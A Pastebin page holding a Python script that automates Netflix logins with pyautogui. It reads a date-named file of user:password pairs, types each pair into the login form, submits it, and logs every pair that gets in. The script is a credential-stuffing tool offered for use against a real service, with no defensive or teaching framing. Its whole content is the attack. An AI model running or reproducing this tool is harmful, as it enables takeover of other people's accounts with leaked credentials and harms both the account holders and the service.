Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- from datetime import datetime
- import pyautogui as pyag
- import webbrowser
- import logging
- import time
- import os
- logging.basicConfig(level=logging.INFO)
- def current_tab():
- logging.info('Checking page elements...')
- current_tab_var = pyag.locateOnScreen('logo.png', grayscale=True)
- if current_tab_var:
- logging.info('Netlifx login page is opened')
- return True
- else:
- logging.info('Netflix login page is not opened')
- quit(0)
- def enter_datas(fname):
- def enter_user(user=''):
- x, y = pyag.locateCenterOnScreen('mail.png', grayscale=True)
- if not x and not y:
- logging.info("coordinates not are correct")
- pyag.click(x, y-5, button='left')
- if len(user) > 1:
- logging.info('Entering user info...')
- logging.info(user)
- pyag.typewrite(user)
- else:
- pyag.hotkey('ctrl', 'a')
- def enter_pass(password=''):
- x, y = pyag.locateCenterOnScreen('pass.png', grayscale=True)
- if not x and not y:
- logging.info("coordinates not are correct")
- pyag.click(x, y-5, button='left')
- if len(password) > 1:
- logging.info('Entering pass info...')
- logging.info(password)
- pyag.typewrite(password)
- else:
- pyag.hotkey('ctrl', 'a')
- pyag.press('delete')
- def click_enter():
- logging.info('Submiting datas...')
- x, y = pyag.locateCenterOnScreen('enter.png', grayscale=True)
- pyag.click(x, y, button='left')
- logging.info('Button <enter> clicked')
- def check_entered():
- logging.info('Checking if user is logged')
- enter_status = pyag.locateOnScreen('arrow.png', grayscale=True)
- print(enter_status)
- if enter_status:
- logging.info('Checked. User is loged!')
- logging.info("User: %s\nPass: %s\n" % (user, password))
- else:
- pass
- logging.info('Opening file with users and passwords')
- with open(fname) as f:
- lines = f.readlines()
- for l in lines:
- l = l.replace('\n', '')
- user = l[:l.find(':'):]
- password = l[l.find(':')+1::]
- # ERASING TEXT AREAS
- enter_user()
- enter_pass()
- # SUBMITING VALID DATAS
- enter_user(user)
- time.sleep(.3)
- enter_pass(password)
- time.sleep(.3)
- click_enter()
- check_entered()
- def check_files_today():
- now = datetime.now()
- fname_today = "%s-%s" % (str(now.day).zfill(2), str(now.month).zfill(2))
- print(fname_today)
- if os.path.exists(fname_today):
- logging.info('Existe um arquivo com esse nome')
- return fname_today
- else:
- logging.info('Não existe um arquivo com esse nome')
- fname = input("Nome do arquivo: ")
- return fname
- def main():
- fname = check_files_today()
- current_tab()
- enter_datas(fname)
- if __name__ == "__main__":
- try:
- main()
- except KeyboardInterrupt:
- print('')
- logging.info('Exiting')
- quit(0)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement